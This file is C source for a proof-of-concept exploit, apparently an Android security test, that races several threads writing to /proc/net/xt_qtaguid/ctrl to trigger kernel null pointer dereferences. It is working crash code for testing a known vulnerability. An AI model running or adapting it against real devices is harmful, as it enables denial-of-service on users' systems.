1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define _GNU_SOURCE
18 #include <errno.h>
19 #include <fcntl.h>
20 #include <pthread.h>
21 #include <stdio.h>
22 #include <string.h>
23 #include <sys/mman.h>
24 #include <sys/socket.h>
25 #include <sys/stat.h>
26 #include <sys/time.h>
27 #include <sys/types.h>
28 #include <unistd.h>
29
30 #define MAX_THREAD 6
31
32 int ctrl_fd;
33 static int cmd;
34 static int status[MAX_THREAD];
35 static int sock_fd;
36
thread_entry(void * arg)37 void *thread_entry(void *arg) {
38 int index, len = 256, ret;
39 char buf[256];
40 index = (int)(unsigned long)arg;
41 memset(buf, 0x0, 256);
42 status[index] = 1;
43
44 // cmd =-1 signifies error in thread creation
45 while (cmd != 1 && cmd != -1) {
46 usleep(5);
47 }
48
49 if (cmd != -1) {
50 switch (index % 3) {
51 case 0:
52 len = sprintf(buf, "d %lu", (unsigned long)0);
53 break;
54 case 2:
55 len = sprintf(buf, "t %d", sock_fd);
56 break;
57 }
58
59 ret = write(ctrl_fd, buf, len);
60 }
61
62 status[index] = 2;
63 return NULL;
64 }
65 /*
66 *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
67 *which causes null pointer derefrences in netstat.
68 */
main()69 int main() {
70 int fd, retry = 1024;
71 int ret, i, loop;
72 pthread_t tid[MAX_THREAD];
73
74 fork();
75 sock_fd = socket(AF_INET, SOCK_STREAM, 0);
76 while (retry--) {
77 cmd = 0;
78 for (i = 0; i < MAX_THREAD; i++) {
79 status[i] = 0;
80 }
81
82 fd = open("/dev/xt_qtaguid", O_RDONLY);
83 if (fd < 0) {
84 return -1;
85 }
86
87 ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
88 if (ctrl_fd < 0) {
89 return -1;
90 }
91
92 for (i = 0; i < MAX_THREAD; i++) {
93 ret =
94 pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
95 if (ret != 0) {
96 cmd = -1;
97 close(ctrl_fd);
98 }
99 }
100
101 loop = 1;
102 int count = 0;
103 // loop until all threads have status == 1
104 while (loop) {
105 loop = 0;
106 count = count + 1;
107 for (i = 0; i < MAX_THREAD; i++)
108 if (status[i] != 1) {
109 loop = 1;
110 break;
111 }
112
113 if (loop) {
114 usleep(5);
115 }
116 }
117
118 cmd = 1;
119 loop = 1;
120 while (loop) {
121 loop = 0;
122 count = count + 1;
123 for (i = 0; i < MAX_THREAD; i++)
124 if (status[i] != 2) {
125 loop = 1;
126 break;
127 }
128
129 if (loop) {
130 usleep(5);
131 }
132 }
133 close(fd);
134 }
135 return 0;
136 }
137